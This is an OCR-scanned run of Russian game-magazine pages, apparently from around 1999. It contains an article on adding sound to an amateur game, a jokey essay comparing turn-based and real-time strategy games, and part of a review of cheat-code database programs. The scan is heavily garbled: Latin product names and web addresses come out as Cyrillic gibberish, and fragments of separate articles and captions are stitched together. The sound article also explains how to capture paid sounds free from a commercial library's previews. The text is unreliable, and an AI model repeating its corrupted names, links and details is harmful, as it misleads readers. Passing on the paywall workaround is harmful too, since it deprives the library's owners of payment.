вигались разноцветные тучки пикселей, стара- 
тельно изображающие из себя крутых компью- 
терных героев, стала появляться большая кра- 
сивая, отрендеренная в навороченном ЗО-па- 
кете заставка с огромной надписью «МЕМИ» 
во всю ширь экрана, а знакомые девчонки, 
прознав о твоих дерзких начинаниях, зачасти- 
ли в гости, вероятно, с целью пообщаться с 
весьма перспективным молодым человеком, ну, 


а в минуты отдыха от близкого общения с пер- 
спективным молодым человеком заодно и поиг- 
рать в будущий хит игровой индустрии. Каза- 
лось бы, все. Что еще нужно для полного счас- 
тья! Но не упустил ли ты какой-нибудь мелочи? 
Запусти свое детище и приглядись вниматель- 
нее. Точнее, прислушайся. Ну как, что-нибудь 
слышно? Нет, шум вентилятора на задней па- 
нели компьютера и суетливую возню мышей в 
куче пивных банок под твоим столом мы в рас- 
чет не берем. Прислушайся к тем симпатичным 
решетчатым дивайсам, которые окаймляют 
твой монитор (надеюсь, покупая компьютер, ты 


да 


не сэкономил на звуковой карте и 
колонках). Опять ничего не слышно? 
Тогда диагноз ясен. Парень, ты за- 
был озвучить свою игру! Но не огор- 
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терфейсов задействуется специ- 
фические аппаратные возмож- 
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ности аудио-карточек ($оуптаВ!о- 
ег Шуе и \Уо\чех-совместимых 


чайся. Прочитав следующую главу и 
проявив немного фантазии, ты смо- 
жешь озвучить ее, по крайней мере, 
на таком уровне, что не будет стыд- 
но ни перед самим собой, ни перед 
потенциальными игроками, ни тем 
более перед будущим паблишером. 
А это уже достаточно много, поверь. 
Итак, выкручивай ручки громкости 
до отметки «МАХ», и за работу! 

Несколько слов о громкости. 
Призыв к выкручиванию ручек мо- 
жешь считать шуткой (если, конечно, 
у тебя не назрело личной мести к со- 
седям). От громкого звука ты быстро 
устанешь и потеряешь ощущение 
желаемого звучания. Слишком ти- 
хое звучание контрольной акустики 
также не рекомендуется ввиду пони- 
женной чувствительности челове- 
ческого уха в области низких и высо- 
ких частот при малой амплитуде зву- 
ковой волны. Подбери громкость та- 
кую, чтобы во время озвучки тебя не 
покидало ощущение защищенности 
и чистоты, а главное, чтобы не зву- 
чало сухо. Эти правила справедли- 
вы не только для этапа подбора и из- 
готовления звуков, но и для процес- 
са их сведения в игре. Запомни, 
главное — не громко, главное — 
«сочно» и выразительно, или, как говорят 
отечественные саунд-дизайнеры, «жирно», 
а буржуйские — «Ыддег ап Ше», что 
приблизительно можно перевести как «го- 
раздо круче, чем можно услышать на ули- 
це». Несколько советов об уплотнении 
звука ты найдешь ниже. Но прежде чем ис- 
кать, подбирать и обрабатывать звуки, да- 
вай определимся, какими средствами ты 
будешь их воспроизводить в игре. Т.е. по- 
ведем разговор о звуковом движке. 

Если предыдущие выпуски «Мастер- 
ской» не прошли мимо тебя, то можно 
предположить, что ты уже вовсю поль- 
зуешься каким-нибудь свободно распрос- 
траняемым 20 или ЗО-движком. Некото- 
рые из них уже имеют встроенные сред- 
ства для воспроизведения звуков. Напри- 
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Сайт ЕАХ. Отдельное место уделено похвальбе о том, 


что Ррапют Мепасе — «№е |с!ез! ЕАХ Не». 
Собственно, есть, чем гордиться! 


мер, к таким относится СОХ — вполне под- 
ходящий выбор для первой игры. Если ты 
не чувствуешь в себе сил самостоятельно 
написать собственный движок, то и не ут- 
руждай себя изобретением давным-давно 
изобретенного. Большая часть того, что 
тебе сейчас необходимо, уже сделано 
другими. Причем благодаря либо аль- 
труизму авторов, либо усердию хакеров 
многое стало общедоступным. Вот мини- 
мальные требования к звуковому движку, 
который тебя вполне устроил бы: 
\У/пдо\95(98,2К), БиемХ 6.0 или выше, 
16/8 бит, не менее 22 кГц на воспроизве- 
дение, поддержка У/АУ-файлов. Я опус- 
каю разъяснение таких нюансов, как «час- 
тота дискретизации» и «разрядность зву- 
ка», надеясь на твою хотя бы начальную 
осведомленность в данной области или, 
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осы вопроса. А ежели прог- 
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шись в работе движка, 
ты сможешь приладить к 
нему дополнительные 
интерфейсы типа 
Сгеануе Епутоптега! 
Аофо Ежепзюп (ЕАХ) и 
Аугеа! ЗО, добавив зву- 
чанию игры неповтори- 
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ворюсь к слову, что все 
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соответственно}, сводя загрузку 
основного процессора звуком 
практически к нулю. В настоящее 
время существует принципиально 
разный подход в работе этих ин- 
терфейсов. Первый предостав- 
ляет разработчику набор прос- 
транств (геуегз}, один из которых 
может быть активирован в любой 
момент времени, при этом звуки, 
проходящие через движок, звучат 
не плоско, а с реверберацией, 
т.е. в заданном пространстве. В 
списке заранее заданных прос- 
транств ты найдешь пещеры 
(Сауе$], комнаты всевозможных 
размеров (Коотз), холлы (Най$] и 
другие бункеры, а также сможешь 
5 сконфигурировать собственные. 
Интерфейс Аигеа! ЗО более сло- 
жен. Рассчитывая отражения и 
поглощение звуковых волн в зави- 
симости от геометрии препят- 
ствий на пути их распростран 
ния, он воссоздает более реали“ 
тичную, по сравнению с ЕАХ, кар- 
тину звука, но в то же время и бо- 
лее сложен в программировании. 
Скоро, возможно, появятся более 
мощные версии ЕАХ (те, что выше 
1.0), ввиду его официальной под- 
держки со стороны известной в опреде- 
ленных кругах фирмы Мисгозой и объявле- 
нии о включении его в Онес{Х 7.0. Поэтому 
наиболее перспективной мне кажется под- 
держка именно этого стандарта. 

А теперь самое время заняться подбо- 
ром звуков. Первое, что необходимо сде- 
лать — это создать черновой список тех 
звуков, которые тебе понадобятся в игре. 
Затем в процессе озвучки ты будешь по- 
полнять и расширять его. Создавая спи- 
сок, старайся давать наиболее полное 
описание звука, мысленно предстовь, ка- 
ким он должен быть. Чем яснее его себе 
представишь, тем быстрее подберешь. 

В поисках источника звуков можно 
пойти двумя путями. Первый путь — найт! 
Интернете сайт с бесплатными библиот», 
ками звуков и неспеша переливать их себе 
на винт, или сайт с коммерческими биб- 
лиотеками звуков от известных киносту- 
дий, которые сами по себе достаточно до- 
роги, но практически всегда представлены 
на том же сайте демо-версиями, которые 
там же можно заказать и, спустя пару не- 
дель, опять же, совершенно бесплатно по- 
лучить по почте в виде СО-дисков. Зака- 
зать таким образом можно диски, напри- 
мер, в Зоипд |Чеа$ (о том, как заполняются 
формы заказа, см. Х #5/99). Огромную 
онлайн-библиотеку можно найти на сайте 
боипа Родз. Вообще-то она платная, но 
есть маленькая лазейка, которую ты с ус- 
пехом можешь использовать. Особеннос- 
ть сервиса этой компании заключается в 
том, что клиент, пользуясь мощной поиско- 
вой системой их \/\мм\-сервера, имеет воз- 
можность искать, выбирать и прослуши- 
вать звуки, что называется, не отходя от 


059 


Е 


кассы. Завершив выбор, он расплачи- 
вается кредитной картой и позже полу- 
чает доступ к ЕТР-серверу Зоипа Вод, от- 
куда и сливает звуки. Описанной схеме 
следуют люди, располагающие внуши- 
тельными денежными средствами и нуж- 
дающиеся в действительно качественных 
звуках. На данный момент, я думаю, тебя 
вполне устроят звуки с пониженной часто- 
той дискретизации. А как раз именно к 
ним ты и получаешь свободный доступ во 
время предварительного прослушивания. 
Итак, последовательность действий тако- 
ва: ум -> жмешь «!1одт ЗЕХ Шгагу» -> 
вводишь любые Мате и Разз\уогА -> вво- 
дишь описание звука, например, для выс- 
трела — зНо! -> жмешь на иконку с изоб- 
ражением громкоговорителя -> на запрос 
«Записать или воспроизвести» жмешь «За- 
писать», и звук у тебя на харде. Количес- 
тво звуков, которые ты можешь слить та- 
ким образом, ограничено лишь скоростью 
предоставленного в твое распоряжение 
Интернет-канола и запасом твоего терпе- 
ния. Заметь, полученные тобой файлы 
имеют расширение АЦ — стандарт, рас- 
пространенный на компьютерах МеХТ, 

пи ОЕС. Работать с ним не советую, 
„зучше сразу переведи их в формат У/АУ 
либо конвертером, например, А\У\Мауе, ли- 
бо доступным звуковым редактором, нап- 
ример, ЗоупаРогде. 

Второй способ поиска и подбора зву- 
ков более творческий. Ты делаешь их сам. 
Это не так сложно, как может показаться 
на первый взгляд. Твой основной инстру- 
мент всегда с тобой... Это твое воображе- 
ние, а не то, что ты подумал. И подспорье 
к нему — микрофон, аудио-карта, аудио- 
редактор помощнее, несколько програм- 
мных аудио-генераторов и встраиваемых 
Опес!Х-модулей (р\ид-тз). Из аудио-ре- 
дакторов сразу порекомендую 
боупаРогае версии 4.0 или выше. Удоб- 
ный, быстрый, да и разобраться в нем нес- 
ложно. Среди генераторов хотелось бы 
выделить Огапасюг — между прочим, де- 
ло рук отечественных энтузиастов. Очень 
советую с ним поэкспериментировать, 
Найти его можно на сайте МАЙ в разделе 
ЗоН5уп!И. А в-качестве обработок реко- 

ндую использовать Бтес!Х-модули от 
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компании \У/ауез$, отличающиеся высоким 
качеством и скоростью процессинга, а 
также понятным интуитивным интерфей- 
сом. 

Используя шумы различных бытовых 
предметов и запись через микрофон, ты 
можешь сымитировать много интересных 
звуков. Например, медленное пересыпа- 
ние мелких болтиков и гаечек практически 
неотличимо от звука потрескивания не- 
большого дровяного костра. Не забудь 
перед записью оградить себя от лишних 
шумов, что, правда, в домашних условиях 
почти невозможно... ну, хотя бы попроси 
домашних не греметь во время записи по- 
судой на кухне и уменьшить громкость те- 
левизора, сутками напропалую вещаю- 
щего о непрекращающихся изменениях в 
правительстве. А по окончании процесса 
обязательно воспользуйся шумодавом, 
например, тем, который встроен в 
ЗоопаРогаде. Эта технология имитации 
реальных звуков с помощью подручных 
предметов успешно 
применяется даже при 
озвучивании  голли- 
вудских фильмов и но- 
сит название Ко!еу 
ЕПес. 

Необязательно 
все звуки создавать с 
нуля. Дело в том, что 
некоторые игровые 
компании не утруж- 
дают себя упаковкой 
ресурсов игры и 
поэтому зачастую зву- 
ки игры можно найти в 
одной из ее поддирек- 
торий. Выбрав звук, 
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ре и, как результат, получить совершенно 
новый звук (и ничего нелегального и вооб- 
ще нечестного в этом нет, не беспокойся). 
Но помни и старайся соблюдать одно неп- 
реложное правило: обрабатывай звук на 
максимально возможной частоте дискре- 
тизации (44 кГц) и максимально возмож- 
ной разрядности (16 бит] и лишь при им- 
портировании звука в игру преобразуй к 
требуемому формату. Этот прием позво- 
ляет минимизировать нежелательные ис- 
кажения, вносимые различными обработ- 
ками. В качестве импортируемого форма- 
та, приемлемого по качеству для игры и 
нетребовательного по занимаемому 
объему, я рекомендую выбрать 22 кГц, 16 
бит, моно. Использование стерео-файлов 
в твоей игре в общем случае излишне, 
особенно если она уже оснащена техно- 
логиями типа Опесбоупа3О, ЕАХ или 
Аигеа!З0. Восьмибитный звук можно счи- 
тать атрибутом вчерашнего дня, но иног- 
да его использование может оказаться 
быстрым и дешевым решением некоторой 
проблемы, например, имитации звука го- 
лоса из зашумленной рации. 

Подобрав эффекты и расставив их по 
своим местам, ты можешь обнаружить, 
что звучат они как-то вяло и тускло, совер- 
шенно не погружая в атмосферу игры. Та- 
кое может произойти, если не обработать 
эффекты особым образом. Каждый саунд- 
дизайнер использует при работе всякие 
хитрости и трюки, но большинство из них, 
к сожалению, держатся в секрете, так как 
именно с их помощью звучание приобре- 
тает неповторимость, определяя соб- 
ственный подчерк саунд-дизайнера. Вот 
несколько приемов, с которых можешь на- 
чать. Первый — компрессия: сжатие дина- 
мического диапазона. Субъективно вос- 
принимается как уплотнение и усиление 
звука. Без нее немыслимы взрывы, выстре- 
лы и другие эффекты, основная цель кото- 
рых произвести большой «Б-У-У-МШЬ. Так- 
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же незаменима при обработке речи, т.к. 
выравнивает среднюю громкость и делает 
громче тихие фразы, а излишне громкие 
приглушает. Второй прием — эквализация: 
воздействие на частотный спектр. Компью- 
терные колонки, несмотря на уверения из- 
готовителей, не обеспечивают полноцен- 
ного воспроизведения частотного диапа- 
зона от 20 Гц до 20 кГц, честно воспроиз- 
водя, как правило, среднечастотный диа- 
пазон (200 Гц — 14 кГц). А так как твоя иг- 
ра и твой звук будут жить именно в этой 
среде, то позаботиться придется об этих 
критических диапазонах, подняв немного 
эквалайзером «верхи» и «низы». Поэкспе- 
риментируй с модулем \У\Мауез МаххВаз$. 
Еще один прием — добавление гармоник: 
расширение спектра и, как следствие, на- 
сыщение и «утолщение» звука. В качестве 
инструмента попробуй Тибе\Уапт! от Зга 
Еаг Аудто. Одновременно хочется предос- 
теречь от многократного воздействия об- 
работок на один и тот же звук, это может 
привести к его деградации и ухудшению. 
И, наконец, поговорим о концепции и 
дизайне звуковой картины. Генеральной 
целью саунд-дизайна является фокусиро- 
вание внимания игрока на происходящих в 
игре событиях. Звуковые события не дол- 
жны рассеивать внимание игрока или от- 
влекать его на незначимые детали, а обя- 
заны акцентировать его на ключевых мо- 
ментах игры в нужные моменты времени. 
Проектируй озвучку так, чтобы игра не со- 
держала совершенно беззвучных мест. 
Этим грешат даже некоторые современ- 
ные игры. Отсутствие звукового сопровож- 
дения ломает восприятие игрока и лишний 
раз заставляет его вспомнить, что он все- 
го лишь играет в игру, в то время как твоя 
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цель — заставить его хотя бы на несколько 
минут почувствовать себя героем иного 
измерения или участником событий буду- 
щего. Как же этого достигнуть? Общее ре- 
шение таково — постоянный фоновый 
звук, логически связанный с окружающим 
миром, плюс набор случайных фоновых 
звуков, периодически появляющихся и вре- 
мя от времени меняющихся, плюс набор 
звуков, связанных с определенными дей- 
ствиями игровых персонажей. А остальное 
на твой вкус... 


Велик объем информации, да мал раз- 
мер печатного листа. Что не узнал из 
статьи — сможешь найти на просторах 
всемирной хитросплетенной. Общайся со 
знающими людьми, благо существует для 
этого электронная почта и чат, и великое 
знание снизойдет к тебе. А если у тебя ос- 
тались вопросы, пиши в редакцию, и отве- 
ты, не заставив себя ждать, обязательно 
появятся на страницах Х. 


_ Интернет д ДЛЯ « астера» 


сох 


шшш.сах.56 

Бесплатная библиотека для разработки 
игр. Содержит исходные С++ коды про- 
стейшего звукового движка на основе 
БнесХ. 
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Секреты программирования 
ОнесХ, в том числе Онесоип9. 
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боцчпаЁогдЕ 


шшш.зопсипагу.сот 
Мощнейший звуковой редактор. Советую! 


Ачцгеа!>50 $О0К 


шшш.а54.сот 

Бесплатная библиотека поддержки аппа- 
ратно-акселерированного трехмерного 
звука для звуковых карт на основе чипа 
\Уочех. 
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Бесплатная библиотека поддержки аппа- 
ратно-акселерированного пространс- 
твенного звучания для звуковых карт 
ЗоопаВа$ег Цуе. 


боцпа 00495 


шшш.50ипа490д5.сот 
Коммерческая онлайн-библиотека звуков 
(как сливать, см. статью «Как озвучивать 


игру»). 
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Коммерческие СО-библиотеки 
(есть тее-демо). 
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Совершенно бесплатный и очень 
компактный звуковой редактор от мото- 
циклетной фирмы Уатара. 
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ФАлосозчя времена 


о преривастоста непрерывного 


П опалась мне как-то книжка под наз- 
ванием «О чем спорят философы». 
Пролистал я ее и выяснил, что спорят 
они о всякой ерунде. Скажем, пятая гла- 
ва называлась «Дискретно ли время», и 
разбирался там вопрос, можно ли выде- 
лить отрезок времени, меньше которого 
ничего быть не может (квант, иначе гово- 
ря). Последний ламер этим философам 
сказал бы: «Смотря какое время. Если 
игра пошаговая, есть такой квант, а если 
реалтаймовая, то нету его». Но ламер, 
он на то и ламер, чтобы видеть только 
лежащее на поверхности, а кул хацкеру 
нужно смотреть вглубь проблемы. Вот 
мы сейчас туда и заглянем, попробуем 
разобраться, чем пошаговые стратегии 
отличаются от реалтаймовых и отли- 
чаются ли вообще. Заодно и вопрос с 
дискретностью времени утрясем. 

Только сразу скажу, глобальные 
стратегии, вроде Цивилизации и Хозяина 
Ориона, трогать не будем, возьмем что- 
нибудь попроще. Такое, где нам прихо- 
дится управлять отдельными людишками, 
Х-СОМ там, Соттапдоз, С&С. Зато ре- 
шать проблему будем как истинные фи- 
лософы, так, чтобы только своим понят- 
но было, о чем тут речь. 


Откуда появиупиусь 
и кому НУЖНЫ 
пошаговые стратегии 


На первый взгляд все ясно. Компьютер- 
чые стратегические игры родились из 
частольных, а там игровой процесс де- 
лился на ходы. Я хожу, ты ходишь, 
он, она, оно ходит. Однако 
КРС тоже из настольных 
произошли, но о пошаговых я 
что-то не слыхал. Может, и были 
они на заре мироздания, но на- 
чисто вымерли к настоящему 
времени. 

Можно подобраться с 
другой стороны, посмотреть, 
на каких машинах появились первые 
стратегии, на их системные требо- 
вания. Вроде бы опять все понятно 
становится. Не могли тогдашние маши- 
ны обсчитывать поведение хотя бы десят- 
ка персонажей, да еще и какую-то гра- 
фику выводить. Но если бы дело было 


Впадиумур ВЕСЕЛОВ (УЕБЕо\У@хакЕр.ги) 


только в этом, пошаговые игры давно бы 
исчезли, как вопрос при социализме. 

Тут у нас хороший пример есть, Х- 
СОМ: Аросаурзе. Помнишь, там можно 
было вести битву, как в пошаговом ре- 
жиме, так и в реалтайме? То есть авторы 
намекали, что на РепНит вполне можно 
со вкусом играть в реальном времени, ну 
а те, у кого машина похуже, будут по 
старинке все шагами мерить. Только 
эксперимент не удался, многие пробова- 
ли реалтайм, но быстро от него отказы- 
вались, А! слабоват был, и потери, как 
следствие, велики. 

Вот мы и третью причину существо- 
вания пошаговых игр нашли, необходи- 
мость создания для игр реального вре- 
мени хоть какого-то 
искусственного 
интеллекта. 
Ясное де- 
ло, когда 
ты не 
мо - 


жешь руководить сразу всеми своими 
бойцами, нужно, чтобы они хоть о чем-то 
думали своей головой. 

Но вот что интересно, берем реал- 
таймовых Соттапао5$, так там у твоих 
бойцов нет вообще никакого интеллек- 
та, ну начисто. Если ты не прикажешь 


иплюстрации — А.Еремиун 


Шрпиону или Снайперу стрелять по поя- 
вившемуся противнику или бежать от не- 
го, он так и будет торчать на одном мес- 
те и звать тебя на помощь. Но игра-то 
идет в реальном времени, и какая игра! 

Так что же, причины существования 
пошаговых игр в настоящее время нет 
вообще? Конечно же, есть, только не 
объективная, а субъективная — наличие 
среди любителей стратегии вдумчивых 
людей. Нет, вообще-то все стратеги — 
люди вдумчивые, но одни просто вдумчи- 
вые, а другие ну о-о-очень вдумчивые. 
Непонятно? А это я пытаюсь так все 
объяснить, чтобы никого не обидеть. 
Ладно, для полной ясности просто поде- 
люсь собственным опытом. 


Чгровой процесс, 
как он Есть 


Тут главное дело — серьезно подгото- 
виться. Чтобы под рукой все необходи- 
мое было, банка пива, парочка 
бутербродов и сига- 
реты со спич- 
ками, само 
собой. Если 
все это на 
месте, игро- 
вой процесс 
идет как по мас- 
лу. Сохраняешь- 
ся, делаешь свой 
ход, передаешь уп- 
равление противни- 
ку, наблюдаешь, как 
он тебя громит, отпи- 
ваешь глоток-другой пивка 
для успокоения, загружаешь сох- 
раненную игру, закуриваешь си- 
гарету и начинаешь думать. 
Сам понимаешь, такая лафа 
возможно только в пошаго- 
вых играх. Пробовал я было 
применить свой способ к 
реалтаймовым... Как сейчас 
помню, отстроил базу, обо- 
рону склепал железную, ну, ду- 
маю, пока в казармах мне юнитов наде- 
лают, можно расслабиться. Только бан- 
ку ко рту поднес, а тут Братство Нода по 
моей базе ядерной ракетой шандарах- 
нуло! Дернулся, конечно, облил пивом и 
себя, и клаву, пришлось сушить обоих. 
Вот туг и видно первое отличие двух 
типов игр: в одном можно пиво пить сме- 


ло, а в другом с оглядкой. Но это отличие 
начисто снимается при помощи паузы. 
Ведь игровой процесс в реалтайме лич- 
но у меня выглядит так: строишь базу, ос- 
торожненько разведываешь окрестнос- 
ти, ищешь противника. Как нашел, тут же 
ставишь паузу, хлебнешь пивка, сохра- 
няешься, закуриваешь и начинаешь ду- 
мать. Собственно говоря, весь процесс 
думанья (ну и питья/курения) У вдумчиво- 
го игрока на паузе проходит. 

Вроде бы получается, что в таком 

4 варианте реалтаймовая игра превра- 
т щается в походовую, только ходы в ней 
Е неравной величины. Но с точки зрения 

философии или физики это чушь со- 
бачья, кванты времени должны быть 
одинаковыми, так что придется копать 
еще глубже. 

Заглянув в самую середку реалтай- 
мовой игры, мы увидим, что она делится 
на микроходы: компьютер-то не может 
обсчитывать поведение всех своих подо- 
печных одновременно (даже в «многоза- 
дачных» Виндах), он их перебирает по 
очереди, смотрит, что там и как, и отдает 
команды. Даже в тот момент, когда ты 
держишь врага за горло и вот-вот по- 


кончишь с его генералом, от ко- ——— 


торого победа зависит, ком- 
пьютер не забывает прове- 
рить, что там происходит с 

каким-нибудь пехотинцем, 
отдыхающим за триде- 
вять земель от места 


битвы. 
Что те- & 
перь полу- \ 


чается? А то, 
что в пошаго- 
вой стратегии \ 
компьютер \ 
после того, как \\ 


СВОИМИ 
бойцами, - 
пере- 
дает ход 
игроку, а в 
реалтаймовых сразу же 
приступает к следующему 

своему ходу. То есть в одном варианте 
человек и компьютер думают по очере- 
ди, а в другом одновременно. Вот это и 
есть единственное отличие двух типов 
игр. Попробуем расширить и углУбить 
этот тезис. 


Проверка на прочность 
Хотя нет, по правилам философского 
рассуждения нужно сперва попробо- 
вать его опровергнуть, так что поищем 
9 еще какие-нибудь отличия. В глаза сразу 
бросается то, что в походовой игре юни- 
ты игрока ходят по очереди, а в реалтай- 
мовой все вместе. Чтобы доказать не- 
серьезность этого отличия, не нужно да- 
же вспоминать Х-СОМ: Ароса\рзе, в 
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котором можно было объединять бой- 
цов в отряды и двигать их как единое це- 
лое или отдавать приказ следующему 
бойцу еще до того, как предыдущий до- 
шел до места назначения. Сам пони- 
маешь, в любой игре ты можешь двигать 
своих бойцов точно так же, как во время 
одного микрохода реалтайма. То есть 
по очереди каждого на одну клетку. 

То же самое и со стрельбой. Вроде 
бы в пошаговой игре юниты противника 
лупят по твоему по очереди, а в реалтай- 
мовой одновременно. На деле же они 
стреляют и тут и там по очереди, только 
в одном случае компьютер ждет резуль- 
татов выстрела первого юнита, а потом 
дает команду стрелять второму, а в дру- 
гом сразу же стреляет вторым после 
первого. 

С отличиями разобрались, ударим 
по сходству. Головастый оппонент может 
возразить мне, что и в пошаговых иг- 
рах компьютер думает во время 
хода игрока. Действительно, ес- 
ли твой боец во время своего 
хода налетит на противника, он 
может выпалить по тебе, как 
это было в Х-СОМ, или сле- И 


Г” 


‚ 


дует передача хода, как в ]Чаддея 
А!апсе. Ничего, я еще более головас- 
тый, поэтому отвечу так: а когда против- 
ник налетает на твоего бойца? Ведь то 
же самое происходит, только с обрат- 
ным знаком. Выходит, что компьютер во 
время своего хода думает за игрока. 
Вроде бы ерунда получается, но на са- 
мом деле все путем. Дело в том, что ком- 
пьютер тут выступает в двух лицах, с од- 
ной стороны он твой противник, а с дру- 
гой стороны некий арбитр, отслеживаю- 
щий ходы обоих и передающий управле- 
ние туда-сюда. Вот это-то второе лицо 
компьютера и «думает» во время твоего 
хода, а компьютерный оппонент, как и 
положено, отдыхает, пьет свое компью- 
терное пиво. 


Чзнанка 


ЧУстраненцЕ противоречий 
Чтобы окончательно убедиться в том, 
что два типа игр отличаются только тем, 
кто и когда думает, возьмем реалтаймо- 
вую игру, в которой компьютер вообще 
не думает, и докажем, что она во всем 
подобна походовой. О какой игре речь? 
Да о Соттапа 5. 

Ой-ой! Что это в меня со всех сторон 
полетело? А, это «аргументы» тех, кто 
писал и говорил о «неподражаемом, 
тщательно проработанном, сбаланси- 
рованном АВ в этих самых Соттапао$. 
Ладно, пригнусь, пропущу все это мимо 
себя, а потом скажу, что никакого А! в 
этой игре нет. 

Мало-мальски разбирающийся в 
этом деле человек скажет, что А! — это 
когда компьютер решает, что делать со 
своими подопечными, куда их послать и 
куда им смотреть. Ав Соттапао$ за не- 
го подумали авторы уровней. Немцы 
ведь стоят на строго определенных 
местах или двигаются по неизмен- 
ным маршрутам. Да и после того, 
как кто-то из фрицев заметит ка- 
кой-то непорядок, поведение 
его строго опре- 
делено: сбегать 

посмотреть, что 
и как, или же 
сразу поднять 
тревогу. Ни в од- 
ной ситуации 
компьютеру не 
приходится выби- | 
рать хотя бы из 
двух вариантов 
действия, 
поэтому-то я и 
говорю, что он 
тут вовсе не ду- 
мает. 
Вот и получает- 
ся, что Соттап- 
90$ — это походовая иг- 
ра, в которой есть всего 
один ход игрока. Компьютеру же изред: 
ка достаются те самые «перехваты хо- 
да», причем, если играть вдумчиво, их не 
будет вовсе. Ну а то, что некоторые из 
юнитов противника во время твоего хо- 
да как-то двигаются, особого рояля не 
играет. Аргументов в пользу этого тези- 
са можно найти много. Приведу только 
один, самый железный. В Соттапаоз 
можно смело пить пиво, не ставя игру на 
паузу! А, попробуй опровергни? 

Ну ладно, с играми вроде все утряс- 
ли, осталось решить, как там со време- 
нем, дискретно оно или нет. А черт его 
знает! Лично мне это неинтересно, да и 
тебе, наверное, тоже. Пусть уж филосо- 
фы без нас разбираются. 


15 


065 


= 


У» чего скрывать, каждый из нас так 
или иначе пользуется кодами, или \ 
читами. У кого-то не хватает времени 
на нормальное прохождение, кто-то не 
желает маяться на очередной миссии, 
ничем не отличающейся от предыду- 
щей, кто-то откровенно застрял на не- 
кой мелочи и уже ничем себе помочь не 
может, а кто-то попросту ламер. Есть и 
еще одна категория людей, которые 
часто переигрывают любимые игры и, 
естественно, при этом юзают читы, так 
как некоторые о проходить на пол- 
ную катушку уже не хочется. И, к какой 
бы категории ты не относился, тебе пос- 
тоянно приходится либо поднимать под- 
шивки игровых журналов, либо лезть на 
‘овые рассадники типа — \\м\. 
- ауй.сот. Однако нужные журналы 
находятся под рукой не всегда, да и пе- 
релистывать их — дело изрядно зануд- 
ное. А Интернет уж тем более имеет до- 
садную привычку постоянно либо отсут- 
ствовать в принципе (кроме как у дру- 
зей), либо заканчиваться ввиду истече- 
ния денег на счету и сиюминутного от- 


а ты там уж сам определяйся по пред- 
почтениям. 


АБзо\Е СРеа{$ (256 КЬ) 
Вир://сотело/аБзо|ше сфеа! 

АБзоле Снео\, ‚представляет из себя 
обычный виндовозный Ыр’шник с бук- 


рами вместо разделов и, соответ- 
3% 


М/есоте 10 АБзоние Снемь Ма} 1999 


зепе +9 ни мер ви по 


ственно, обладает только теми воз- 
можностями, какими одарил файлы Мр 
дядя Билли. Читов в АС ничтожно ма- 
лое количество — обновления базы в 
месяц сравнимы количеству читов, 
публикуемых в обычном игровом жур- 
нале. Да и распечатать нужный чит не 
представляется возможным, т.к. печа- 
тать файлы вида Вр возможно толвко 
целыми разделами. 


сутствия возможностей для дальнейшей 
проплаты. Есть ли выходе Конечно. Он 
находится в области игровых баз дан- 
ных, о которых мы сегодня и поговорим. 
Я тебе, приятель, расскажу, какая со- 
бою что представляет и сколько весит, 

ь 
Достоинства: малый размер. 


и” 


Недостатки: неудобный интерфейс, 
невозможность распечатать нужный 
чит, плохое обновление. 


Резюме: плохой вариант, тут даже 


малый размер не утешит. 


СПеа{ Воок (5=1кь) 

мимим/. спеафФоок.ае 

СКеа1! ВооК пока ничего особенного со- 
бою не представляет. Простенький та- 


оп ® 100 Зем зп а Срна ог оп Ве дкоцад, 
Ааа карза1у, 40 пот с\4СК оп 26 & весопа 
у с11еХ оп зовета4 та #1 2е оп Ве эсгеев, 
ев Ввме керокке а Бу Вах сацеев 1свыз по 
|8 мау, 858 15'з ап аппоузио зву то 1082 а 


кой интерфейсик, частые обновления, 


_ возможность сохранить читы в отдель- 


ном файле или распечатать их... вот, по- 


жалуй, и все возможности СВ. Но не. 


стоит беспокоиться. Текущая версия 
этого продукта — 07.99, так что все еще 
может быть, хотя если автор исчисляет 
версии своего продукта в тысячных, то, 
сдается мне, что тому времени, когда 
выйдет версия 1.0; мы уже успеем сос- 
тариться и умереть. Е 

Достоинства: Частые обновления. 

Недостатки: Отсутствие возможнос- 
типоиска. 

Резюме: Неплохой вариант, если у 
тебя проблемы с И-нетом, а читов хо- 
чется. ‚ № 


СВеа{ Сеп{га! (=! кь) 
мимим.Ююпипесйу.сот/Кузсгарег/ 
БоББаде/503 

Хм... размер тебе ничего не говорит? 
По-моему, создатель СС, который еще 
умудрился выпустить несколько версий 
этого чудо-продукта, сделальёе для се- 


Пезе содез 
› |30 зес 
епетуз м 30 зес 


‚|СНеа 1МЕОВМАМТ 006 кь) 


Антон Погвиунов 


бя, ну, типа «записная книжка читов 
моих любимых игр», а таковых набра- 
лось (все затаили дыхание} аж целых 50! 
Помимо того, что читы не полные, их 
ещеи распечатать нельзя, что и понят- 
но — записную книжку распечатывать 
незачем... 

Достоинства: Смеешься? 
Недостатки: Такое ‚ощущение, что 
вся программа — один сплошной. недос- 
таток... и даже непонятно, чего именно 
недостаток, т.к. тут по идее даже как бы 
придраться не к чему: Ну, запис- 
ная книжка... 

Резюме: Гм. 


уииим,. среантогтат.сот 

СпНеа! югтап! является как бы упро- 
щенной версией Оу ИШе Нерега (см. 
ниже). Плагиат налицб — похожий ин- 


Бъткинн Мефъиныя 24, Вошанеоьниы Тусоол, УМтова 2400, бум “АЛмз, 
руна Мис, Рим Сор ГАРО, Меди Мбеки му 

Роба, Ереовьые, мита 2, бинт Эля Тиеу Мм. Олли. 

Кооитетриовоь Веру Етеиоу и, Сомов Ввусод пы Сы «И Алу 

дал Рычит Мио, Нови Виа С Сис, Рори Тиз Вермиу 
Сотовик Зее: Орк 


Сева но Ая Тов) зу «Ире Кобонечу танк 
лай . ебиаутюита сот 


вообще, это все, 
что есть С|. Все просто: скачал, нашел, 
распечатал. Вот так-то, зато размер 


терфейс и навигация... 


невелик. 
Достоинства: Удобный поиск, малые 
размеры. а 
Недостатки: Малая информативность. 
Резюме: Хороший вариант при 
проблемах со временем в Интернет. 


_СВеаЁ5 Са!» (2,6 Мь) 
ммимитрепа/с.сот 

Этот продукт выделяется из числа дру- 
гих прежде всего тем, что стоит немного 
зеленых. $10 — так оценивают трепа! 
Сгеайоп$ ЗоН\аге свой СКеа!з ай. 


Па Е& рю Аб На 


ТрЕПанация 


причем информации много — пожалуй, 
это одна из самых информативных БД 
после РИН (см. выше). Практически к 
каждой игре ты сможешь найти превью 
(если: игра еще в разработке), ревью, 
рейтинги популярных интернет-изданий 
(Ауау!, СатеЗро! и пр.), чит-коды/со- 
‚ люшены/хинты и ссылки на демку, пат- 
чи, трейнеры, сервера для игры по И- 
нету и сайт разработчика. В С-Р!ау ес- 
ть все средства для того, чтобы ты смог 
отыскать нужную игру из тысячного 
списка — удобная система поиска и до- 
